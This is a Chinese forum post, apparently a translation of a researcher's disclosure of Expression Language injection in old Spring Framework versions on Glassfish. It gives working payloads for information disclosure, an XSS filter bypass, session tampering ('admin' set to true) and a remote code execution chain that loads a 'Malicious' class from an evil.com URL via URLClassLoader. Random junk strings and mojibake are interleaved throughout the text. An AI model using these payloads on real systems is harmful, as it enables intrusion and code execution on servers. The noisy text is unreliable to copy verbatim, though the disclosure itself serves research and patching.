找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2504|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with
" D; `% H% }8 p% I5 D  ~Expression Language Injection2 S$ J* _' s& E
Spring Framework脆弱性—DanAmodio' ~6 t( z, |  q; `, r# O
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中  C$ J, D! V& k$ D
可能会存在风险。3 r0 f! T+ h$ e1 Y  b
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
" q$ W: d8 x1 q% VArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可3 |5 w; q7 }0 s4 o
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,: Y) b6 w! S  r
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
# C; v4 Y% X# [3 s版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
0 B' I4 N% S5 f- p3 u! ^由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
3 S5 j+ g9 {9 f7 n& a$ }我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
: b* C7 J% S) U1 [本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
. U2 Q& t8 i( W* ~6 R+ w5 a. u( P这些版本不支持禁用double EL resolution.
5 _* @% Q2 l2 w8 g& a! \这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含' T5 p$ g4 t$ e' x3 F
EL2.2容器上可能进行远程代码执行。1 K6 h& Y/ `- Q& F, P3 N
这是一个原始信息泄露的攻击例子:  M: \! o: Y2 S( a1 {
请求:# z: K% A: j- t0 |& w9 d8 K! Q
ttp://vulnerable.com/foo?message=${applicationScope}
4 k+ ?* z! F9 |# L% U7 r到达以下内容页面:
6 @& e, T0 ]0 \* [9 j结果将输出一些包含内部服务器信息calsspath 和本地工作目录
& p8 g$ r. h& x" Y你也可以做一些其他事情,如这样:
; U3 Q0 ]" ^1 Q9 c# E8 z6 Z${9999+1}9 L. e1 V- @/ `; f1 R- J7 q
还可以访问session 对象和beans3 `! t& b1 b7 X! @1 N- |' u. C
${employee.lastName}
) L) G* r9 |5 }9 z在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是$ `3 F* m6 w9 M9 p
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
$ ^* J4 H  z4 [/ M# g9 ?西,比如XSS.
! _( Y6 u& F  M- q哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
2 ~; X( f) q- W& B$ u% C! v: u突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
$ ~3 e. p, d, E# K) P, V- l4 |! [呢?”
% L6 J/ F/ V, S' ?1 P  `' j因此,我尝试巳缦拢�
( U0 t0 d3 B8 d+ V9 t; n9 i% hhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
3 _- q( X! |& Q* V7 h" Q4 cP
' E$ I) l8 y& f- i我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返2 u' k; w$ p6 s
回的文本被插入进了spring:message 标签。
/ Z1 J, z2 K- Q- Y这里是一个最终绕过过滤的实例:7 K' L- V+ O' V: W3 b
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
7 U# }1 U8 o1 I它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
3 M/ k" O! ], l3 i9 ^9 u什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?2 N5 |$ z2 Z0 }% i
经过一番研究,我学习到EL2.2 增加了方法调用。8 ?9 `8 t+ N+ z- T/ P
我写了一个快速测试应用程序代码并且检测一些功能
) P( z* c2 D3 R( W% K6 |${pageContext.request.getSession().setAttribute(“account”,”123456″)}
( l$ N4 w% V! l* u3 f${pageContext.request.getSession().setAttribute(“admin”,true)}
8 P* v4 `% D( Q好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的6 r0 e- J# }) K* F
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?# U8 [5 L# |: H1 h8 v
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
7 d' j6 i% G& C% }: r“, 1234)}
, e" a3 K2 X! [${“”.getClass().forName(“java.lang.Runtime”)}/ ~; r2 a! _( S( C
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
% y# O/ Y8 e7 O7 w; D可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
% c, y5 l, {# @/ p数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
7 E( K+ \) y) r  f5 C一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
: G  \7 E: `* s) J方法签名invoke(Object obj, Object„ args)9 ^! G" R( Q  n% s  P! v
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问4 Q- r; x) U% V7 C& I% t
题,以让它可以工作起来。
2 h2 e1 Q  T3 c7 M漏洞利用:$ @1 D' s) ?# f
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
7 N- o) w0 j0 o3 N希望你们中的一些JAVA奇才告诉我我是如此的可笑。
/ {; ~  V0 N& u# F% z6 ~这里有一些我试过的失败的用例,为了试图让它工作的用例:( O0 Z5 {4 V. L' U1 ]5 l4 p2 u/ K0 S! u
 写文件到文件系统8 b* B0 k! X+ \
 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.& T& D- D- i/ S2 ~! z3 M
我认为这些可以很好的工作,但是我不能找到合适的类来载入。
; u3 i9 B" V, q/ Y! Q${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
/ ~) q3 v0 a$ H6 Pjavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:6 e- W1 y9 `& F
org.springframework.expression.spel.standard.SpelExpressionParser not found+ |; l' i, T$ z
by
; I+ f0 {) a' c0 }0 q$ porg.glassfish.web.javax.servlet.jsp [194].  c) M4 K4 W% P3 c9 A6 r
 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public6 L. X; N( c. |4 x
 利用反射来创建一个新的Runtime(and watch the world burn)3 `' S! ~; X1 V- a% ]& ]
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
7 e7 R1 H2 k, t$ A- u% h(“java.lang.Runtime”)).getDeclaredConstructors()[0])}% A# [9 F$ F' r/ e. I
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
+ G/ y- {: K9 ]1 h6 l0 E 使用java.lang.ProcessBuilder: P, Y# {9 c% \" n7 a7 N
 用表达式语言来评估表达式语言4 ~* s3 Y8 @% d( x; Y6 I% s4 O
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
, w; I- \& I: r6 b; j% f- B0 T${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request0 i8 u! Z/ ^' E" P8 O: k
“,”".getClass(),null)}7 Y) K5 k( g0 j0 L7 X6 ]8 {
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
2 K# m7 L6 _- f" ^我在使用一个空数组通过Method.invoke()时失败了很多次  ]: Z% ^2 I, Y: H' X/ N2 B: Z
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo8 {) [* e. z! M+ w- m+ [
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A8 O& ^: C" h5 ?, {
rrayList”).newInstance().toArray())
4 z4 e" w- a* F9 y& o  xjava.lang.IllegalArgumentException: wrong number of arguments
$ \1 u/ @* s! ?0 H$ Y# s最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
! Y  i" ]: Z! T0 Z6 m以创建一个恶意class文件并且指向类装载器.  a/ N: h- J- R1 a% A
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
# v( v' i4 S) m- E; O! h# ppublic class Malicious {; u" f, y) [2 t7 r2 p
public Malicious() {
  ~6 v# n8 x/ etry {. }0 Y3 _& m: {2 w; Y
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac# `! b& `- Z; [" _" A2 U: Y
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
5 _& l! I9 Z+ t/ t0 w1 d3 J} catch (Exception e) {
( `- Z7 g9 m/ w}
/ |  x6 V6 H! O/ G7 L}
" E8 f8 _2 ~! h; m8 C' H: u, w$ D我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
4 N$ E! P- [& r! ?) v8 r  g0 v话中,因此它可以被使用.
6 m$ \3 I# j7 w+ l+ |: U+ P5 u8 |. |${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName5 n) Z* ?5 Q! w; A( T9 q9 H
(“java.util.ArrayList”).newInstance())}: O. E$ P4 ~- @* _% L
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建2 o" A! T  `  p$ U* I9 s) P
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和3 k8 x' G3 h' ]  z4 [4 R4 w
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个$ ~! @0 c  r4 p' s4 t  r
我们可以调用的create(string)方法,然后转换对一个URL对象。' X% Z6 w# w$ e' ~3 G
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
  F4 D# a/ ~, B1 ^% j: J& A, s, [ere/malicious/classfile/is/located/”).toURL())}8 U) Y# `( x' h* L+ ~
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,: q$ F* \3 \/ P2 S3 l' S
恶意类文件被装载并创建,触发远程代码.
; `  D+ w- H4 m4 _2 G3 o' [${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
9 a* Z$ D4 P/ Txt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
+ L% D" V7 q; @getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
# z/ ]' k& `9 a- z3 ?()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表